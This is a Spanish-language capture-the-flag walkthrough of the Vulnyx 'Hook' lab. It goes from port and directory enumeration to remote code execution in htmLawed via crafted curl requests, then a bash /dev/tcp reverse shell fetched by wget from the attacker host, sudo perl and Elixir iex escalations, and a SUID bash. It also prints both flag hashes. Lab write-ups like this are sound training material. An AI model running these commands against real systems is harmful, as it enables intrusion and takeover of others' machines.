Hook Vulnyx (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-18 04:11 EDT
Nmap scan report for 192.168.5.83
Host is up (0.0015s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Apache2 Debian Default Page: It works
| http-robots.txt: 1 disallowed entry
|_/htmLawed
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
|_ nodes:
MAC Address: 08:00:27:D7:4F:EC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds
Veremos varios puertos interesantes, si entramos en el puerto 80
veremos una pagina web normal de apache2
sin importancia, por lo que vamos a realizar un poco de fuzzing
a ver que vemos.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.83/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 10701]
/.html (Status: 403) [Size: 277]
/.php (Status: 403) [Size: 277]
/robots.txt (Status: 200) [Size: 34]
/.html (Status: 403) [Size: 277]
/.php (Status: 403) [Size: 277]
Progress: 334217 / 882244 (37.88%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 334335 / 882244 (37.90%)
===============================================================
Finished
===============================================================
Veremos que hay un robots.txt
si entramos dentro veremos lo siguiente:
User-agent: *
Disallow: /htmLawed
Vamos a ver que contiene dicho recurso web.
URL = http://<IP>/htmLawed
Veremos una web de un software llamado Lawed
, vamos a comprobar la version de dicha pagina y buscar algun exploit si lo tuviera.
Escalate user www-data
Si buscamos un poco veremos lo siguiente:
URL = CVE-2022-52023 ExploitDB
URL = Info Vuln
Vemos que se puede realizar un RCE
directamente en la pagina, si leemos un poco veremos que la forma de explotarlo es mediante una URL
en concreto, pero vamos a descargarnos el archivo y a ejecutarlo de esta forma:
La URL
tiene que apuntar a un archivo en concreto que es el vulnerable llamado htmLawedTest.php
por lo que leimos en la documentacion.
dos2unix 52023.sh
chmod +x 52023.sh
./52023.sh -u 'http://<IP>/htmLawed/htmLawedTest.php' -c 'whoami'
Pero si no os funciona, podemos hacerlo de esta forma tambien:
apt install html2text
curl -s -d "sid=foo&hhook=exec&text=id" -b "sid=foo" "http://<IP>/htmLawed/htmLawedTest.php" | html2text | grep "memory" -A 1 | grep -v "memory"
Info:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Veremos que esta funcionando, por lo que vamos a realizar una reverse shell
de esta forma:
shell.sh
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'
Vamos abrir un servidor de python3
para suministrar el archivo.
python3 -m http.server 80
Ahora vamos hacer que se lo descargue la maquina victima.
curl -s -d "sid=foo&hhook=exec&text=wget http://<IP_ATTACKER>/shell.sh" -b "sid=foo" "http://<IP>/htmLawed/htmLawedTest.php" | html2text | grep "memory" -A 1 | grep -v "memory"
Echo esto, vamos a ejecutar dicho archivo de esta forma:
curl -s -d "sid=foo&hhook=exec&text=bash shell.sh" -b "sid=foo" "http://<IP>/htmLawed/htmLawedTest.php" | html2text | grep "memory" -A 1 | grep -v "memory"
Antes de enviarlo vamos a ponernos a la escucha:
nc -lvnp <PORT>
Ahora si enviamos el anterior comando y volvemos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.83] 37456
bash: cannot set terminal process group (495): Inappropriate ioctl for device
bash: no job control in this shell
www-data@hook:/var/www/html/htmLawed$ whoami
whoami
www-data
Veremos que ha funcionado, por lo que sanitizaremos la shell
.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user noname
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for www-data on hook:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on hook:
(noname) NOPASSWD: /usr/bin/perl
Vemos que podemos ejecutar el binario perl
como el usuario noname
, por lo que podremos hacer lo siguiente:
sudo -u noname perl -e 'exec "/bin/bash";'
Info:
noname@hook:/var/www/html/htmLawed$ whoami
noname
Veremos que seremos dicho usuario, por lo que leeremos la flag
del usuario.
user.txt
2ee7e8d7f8f2b515c0bdf19d5ce85e17
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for noname on hook:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User noname may run the following commands on hook:
(root) NOPASSWD: /usr/bin/iex
Vemos que podemos ejecutar el binario iex
como el usuario root
, por lo que podremos hacer lo siguiente:
sudo iex
Info:
Erlang/OTP 25 [erts-13.1.5] [source] [64-bit] [smp:1:1] [ds:1:1:10] [async-threads:1] [jit:ns]
Interactive Elixir (1.14.0) - press Ctrl+C to exit (type h() ENTER for help)
iex(1)>
Ahora si hacemos h()
para ver el help
, en el propio help
no veremos nada interesante, pero si buscamos su documentacion, veremos que podremos ejecutar comandos utilizando el siguiente comando System.cmd/2
por lo que haremos esto.
System.cmd("whoami", [])
Info:
{"root\n", 0}
Veremos que esta funcionando, vamos a establecer con permisos SUID
la bash
directamente.
System.cmd("chmod", ["u+s", "/bin/bash"])
Info:
{"", 0}
Ahora vamos a salirnos pulsando Ctrl+C
dos veces y si listamos la bash
...
ls -la /bin/bash
Info:
-rwsr-xr-x 1 root root 1265648 Apr 23 2023 /bin/bash
Veremos que ha funcionado de forma correcta, por lo que haremos esto:
bash -p
Info:
bash-5.2# whoami
root
Veremos que ya seremos root
, por lo que leeremos la flag
de root
.
root.txt
708883f44e1b0e57c8a501e176fad8a9
Last updated